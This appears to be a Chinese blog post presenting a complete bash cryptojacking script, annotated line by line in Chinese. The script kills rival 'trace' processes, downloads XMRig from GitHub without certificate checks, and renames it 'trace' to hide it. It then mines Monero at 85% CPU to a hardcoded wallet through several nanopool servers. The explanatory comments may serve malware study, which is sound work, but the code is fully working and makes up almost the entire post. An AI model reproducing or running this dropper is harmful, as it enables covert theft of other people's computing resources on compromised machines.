阿债的方寸天地 2020-01-03
#!/bin/bash
#杀掉旧 trace 挖苦程序
if pgrep trace; then pkill trace; fi
# CPU 数: 8
threadCount=$(lscpu | grep ‘CPU(s)‘ | grep -v ‘,‘ | awk ‘{print $2}‘ | head -n 1);
#主机名 md5 校验码: b8419160
hostHash=$(hostname -f | md5sum | cut -c1-8);
#输出: "b8419160 - 8"
echo "${hostHash} - ${threadCount}";
#删除 config.json 文件
rm -rf config.json;
# d 方法,添加参数下载 xmrig-5.0.0-xenial-x64.tar.gz 安装包;
# "$1" https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz
# "$2" trace.tgz
# curl
# -L 遵循重定向(H)
# --insecure 允许在没有证书的情况下连接到SSL站点(H)
# --connect-timeout 允许连接的最大时间 30s
# --max-time 允许转移的最大时间 800s
# --fail HTTP错误(H)静默失败(完全没有输出)
# -o 将输出写到<file>而不是stdout "$2"
# wget
# --no-check-certificate 不要验证服务器的证书
# --timeout 将所有超时值设置为秒 800s
# --tries 设置重试次数为(0不受限制) 1
# -O 编写文件归档。 "$2"
# _curl ...
d () {
curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}
#判断 trace 大小是否非空
test ! -s trace && \
#下载 xmrig-5.0.0-xenial-x64.tar.gz 并改名为 trace.tgz ;
d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
#解压
tar -zxvf trace.tgz && \
#移动启动脚本,并改名
mv xmrig-5.0.0/xmrig trace && \
#删除 xmrig-5.0.0 目录
rm -rf xmrig-5.0.0 && \
#删除 trace.tgz 包
rm -rf trace.tgz;
#判断 trace 是否为执行文件,否则添加执行权限
test ! -x trace && chmod +x trace;
# k 方法
k() {
./trace \
#切换到备份服务器前重试次数(默认:5次)
-r 2 \
#重试之间暂停的时间(默认值:5)
-R 2 \
#发送 keepalive 数据包防止超时(需要池支持)
--keepalive \
#禁用彩色输出
--no-color \
#捐赠等级,默认5%(100分钟内5分钟)
--donate-level 1 \
#CPU最大使用率
--max-cpu-usage 85 \
#设置进程优先级(0空闲,2正常到5最高)
--cpu-priority 3 \
#每N秒打印 hashrate 报告
--print-time 25 \
#CPU线程数
--threads "${threadCount:-4}" \
#挖掘服务器URL
--url "$1" \
#挖掘服务器用户名
--user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
#挖掘服务器密码
--pass x \
#指定 coin 而不是算法
--coin xmr \
#发送 keepalive 数据包防止超时(需要池支持)
--keepalive
}
# k 方法连接矿池
k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444